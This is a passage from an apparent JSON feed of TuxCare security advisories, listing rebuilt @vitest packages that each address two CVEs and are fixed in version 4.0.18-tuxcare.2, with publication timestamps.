4.0.18-tuxcare.2.","status":"published","published":"2026-10-16T14:39:34Z","modified":"2026-10-16T16:30:12.033063111Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161608","title":"TuxCare security update for @vitest/browser-playwright (2 CVEs)","description":"TuxCare rebuilt @vitest/browser-playwright to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.","status":"published","published":"2026-10-16T14:40:08Z","modified":"2026-10-16T16:30:09.178436403Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161647","title":"TuxCare security update for @vitest/browser-preview (2 CVEs)","description":"TuxCare rebuilt @vitest/browser-preview to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.","status":"published","published":"2026-10-16T14:40:47Z","modified":"2026-10-16T16:31:12.99855793Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161719","title":"TuxCare security update for @vitest/expect (2 CVEs)","description":"TuxCare rebuilt @vitest/expect to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.","status":"published","published":"2026-10-16T14:41:59Z","modified":"2026-10-16T16:31:14.70392377Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161766","title":"TuxCare security update for @vitest/mocker (2 CVEs)","description":"TuxCare rebuilt @vitest/mocker to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.","status":"published","published":"2026-10-16T14:42:46Z","modified":"2026-10-16T16:31:29.990393175Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161831","title":"TuxCare security update for @vitest/pretty-format (2 CVEs)","description":"TuxCare rebuilt @vitest/pretty-format to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.","status":"published","published":"2026-10-16T14:43:51Z","modified":"2026-10-16T16:31:14.956386093Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161876","title":"TuxCare security update for @vitest/spy (2 CVEs)","description":"TuxCare rebuilt @vitest/spy to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.","status":"published","published":"2026-10-16T14:44:36Z","modified":"2026-10-16T16:31:16.938712538Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161974","title":"TuxCare security update for @vitest/utils (2 CVEs)","description":"TuxCare rebuilt @vitest/utils to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.","status":"published","published":"2026-10-16T14:46:14Z","modified":"2026-10-16T16:31:19.955548901Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792162034","title":"TuxCare security update for @vitest/runner (2 CVEs)","description":"TuxCare rebuilt @vitest/runner to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.","status":"published","published":"2026-10-16T14:47:14Z","modified":"2026-10-16T16:31:21.558602024Z","updated_at":"2026-11-02T15:43:51.466048Z"}]}}
